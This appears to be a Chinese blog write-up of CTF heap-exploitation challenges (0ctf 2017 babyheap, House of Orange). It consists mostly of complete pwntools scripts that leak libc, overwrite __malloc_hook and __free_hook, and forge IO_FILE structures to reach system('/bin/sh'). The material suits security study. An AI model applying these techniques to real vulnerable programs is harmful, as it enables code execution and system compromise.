IO_file attack(_IO_str_finish)以及 free_hook用法

24 篇文章 1 订阅

题目是0ctf_2017_babyheap
漏洞是堆溢出

free_hook

参考链接:

https://xz.aliyun.com/t/7020
https://bbs.pediy.com/thread-230028.htm
https://bbs.pediy.com/thread-246786.htm

free_hook在libc2.23中用起来比较费劲,2.27中用的比较多
free_hook可以在og用不了的时候来system(binsh),但我为什么不realloc_hook呢?
因为free_hook上面没有值,fastbin无法直接攻击,所以利用top chunk来创建一个size
在这里插入图片描述
我们要做的就是修改top chunk到free_hook-0xb58,那里有一个数据可以用来做topchunk的size
topchunk改到那里之后,不断分配chunk来写到free_hook
利用的时候要注意修改main_arena+88(topchunk)的时候要注意chunk申请大小,不要把unsortedbin和smallbin改了,不然后续会申请不了chunk

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './0ctf_2017_babyheap'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

def menu(choice):
    sla('Command: ', str(choice))
def add(size):
    menu(1)
    sla('Size: ',str(size))
def edit(index, size, content):
    menu(2)
    sla('Index: ', str(index))
    sla('Size: ', str(size))
    sla('Content: ', content)
def free(index):
    menu(3)
    sla('Index: ', str(index))
def show(index):
    menu(4)
    sla('Index: ', str(index))

for i in range(4):
    add(0x68)
p = 'a'*0x60 + p64(0) + p64(0xe1)
edit(0, len(p), p)
free(1)
add(0x68)
show(2)
libc_base = uu64(ru('\x7f')[-6:]) - 88 - 0x10 - libc.sym['__malloc_hook']
info('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
o_g = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
og = libc_base + o_g[1]
malloc_hook = libc_base + libc.sym['__malloc_hook']
info('free_hook', free_hook)
info('og', og)
#--------------------------------------------------------------------------------------------------------
add(0x68)#4
free(2)
p = 'a'*0x60 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
#为了能在malloc_hook那里申请chunk
edit(1, len(p), p)
add(0x68)
add(0x68)#5
p = p8(2)*3+p64(3)*2+p64(0)*4+p64(0)+p64(0x50)+p64(malloc_hook+0x20)
#修改某一个main_arena里的fastbin的指向,指向main_arena+16,然后分配bin里大小的chunk来在main_arena+16那里申请一个chunk
edit(5, len(p), p)
add(0x48)#6
p = p64(0)*7+p64(free_hook-0xb58)
#然后修改申请的chunk改掉main_arena+88(topchunk的指针)
edit(6, len(p), p)

for i in range(6):
    add(0x200)
p = '\x00'*0xf8+p64(og)
edit(12, len(p), p)
#debug()
#sl('1')
r.interactive()

IO_file

利用就用2.27的利用方式,后面的方式可以向前兼容
具体的还是看这个

https://bbs.pediy.com/thread-246786.htm
https://www.bookstack.cn/read/CTF-All-In-One/doc-4.13_io_file.md#_IO_str_jumps

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './0ctf_2017_babyheap'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
         p32(0) + \
         p64(_IO_read_ptr) + \
         p64(_IO_read_end) + \
         p64(_IO_read_base) + \
         p64(_IO_write_base) + \
         p64(_IO_write_ptr) + \
         p64(_IO_write_end) + \
         p64(_IO_buf_base) + \
         p64(_IO_buf_end) + \
         p64(_IO_save_base) + \
         p64(_IO_backup_base) + \
         p64(_IO_save_end) + \
         p64(_IO_marker) + \
         p64(_IO_chain) + \
         p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct
def menu(choice):
    sla('Command: ', str(choice))
def add(size):
    menu(1)
    sla('Size: ',str(size))
def edit(index, size, content):
    menu(2)
    sla('Index: ', str(index))
    sla('Size: ', str(size))
    sla('Content: ', content)
def free(index):
    menu(3)
    sla('Index: ', str(index))
def show(index):
    menu(4)
    sla('Index: ', str(index))

for i in range(6):
    add(0x90)
add(0x60)
add(0x60)
free(6)
p1 = 'a'*0x90+p64(0)+p64(0x141)
edit(2, len(p1), p1)
free(3)
add(0x90)

show(4)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 88 - 0x10
info('libc_base', libc_base)
IO_list_all = libc_base + libc.sym['_IO_list_all']
jump_table = libc_base + libc.sym['_IO_file_jumps'] + 0xc0
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()
info('IO_list_all', IO_list_all)
info('jump_table', jump_table)
#--------------------------------------------------------------------------------------------------------

fake_file   = pack_file(_flags=0,
                        _IO_read_ptr=0x61,
                        _IO_read_base=IO_list_all-0x10,
                        _IO_write_base=0,
                        _IO_write_ptr=1,
                        _IO_buf_base=binsh,
                        _mode=0,
                        )
fake_file += p64(jump_table-0x8)+p64(0)+p64(system)
'''
fake_file=p64(0)+p64(0x61) #fp ; to smallbin 0x60 (_chain)
fake_file+=p64(libc_base)+p64(IO_list_all-0x10) #unsortedbin attack
fake_file+=p64(0)+p64(1) #_IO_write_base ; _IO_write_ptr
fake_file+=p64(0)+p64(binsh)#_IO_buf_base=sh_addr
fake_file=fake_file.ljust(0xd8,'\x00') #mode<=0
fake_file+=p64(jump_table-8)#vtable=_IO_str_jump-8
fake_file+=p64(0)
fake_file+=p64(system)#fp+0xe8=sys_addr
'''
p = 'a'*0x90+fake_file
add(0x90)
free(6)
edit(3, len(p), p)
debug()
add(20)
r.interactive()

再贴一个house of orange的exp,用的2.27的方法做的
unsorted bin attack 改bk指针,然后触发错误调用_IO_str_finish

malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow

因为我们改了,所以不会调用_IO_str_overflow,而是_IO_str_finish

from pwn import *
from LibcSearcher import * 

local_file  = './houseoforange_hitcon_2016'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
         p32(0) + \
         p64(_IO_read_ptr) + \
         p64(_IO_read_end) + \
         p64(_IO_read_base) + \
         p64(_IO_write_base) + \
         p64(_IO_write_ptr) + \
         p64(_IO_write_end) + \
         p64(_IO_buf_base) + \
         p64(_IO_buf_end) + \
         p64(_IO_save_base) + \
         p64(_IO_backup_base) + \
         p64(_IO_save_end) + \
         p64(_IO_marker) + \
         p64(_IO_chain) + \
         p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

def menu(choice):
    sea('Your choice : ', str(choice))
def add(size, content):
    menu(1)
    sea('name :', str(size))
    sea('Name :', content)
    sea('Orange:', str(10))
    sea('Orange:', str(1))
def show():
    menu(2)
def edit(size, content):
    menu(3)
    sea('name :', str(size))
    sea('Name:', content)
    sea('Orange: ', str(10))
    sea('Orange: ', str(1))

add(0x20, 'aaaa')

p = 'a'*0x20+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0xf91)
edit(len(p), p)
add(0x1000, 'a')
add(0x400, 'a')
show()
libc_base = uu64(ru('\x7f')[-6:]) - 1601 - libc.sym['__malloc_hook'] - 0x10
info('libc_base', libc_base)
IO_list_all = libc_base + libc.sym['_IO_list_all']
jump_table = libc_base + libc.sym['_IO_file_jumps'] + 0xc0
info('IO_list_all', IO_list_all)
info('jump_table', jump_table)
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
#--------------------------------------------------------------------------------------------------------
fake_file = pack_file(_flags=0,
                    _IO_read_ptr=0x61,
                    _IO_read_base=IO_list_all-0x10,
                    _IO_write_base=0,
                    _IO_write_ptr=1,
                    _IO_buf_base=bin_sh,
                    _mode=0,
        )
fake_file += p64(jump_table-8)+p64(0)+p64(system)
p = 'a'*0x400+p64(0)+p64(0x21)+p64(0)*2+fake_file
edit(len(p), p)
debug()
sl('1')


r.interactive()

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值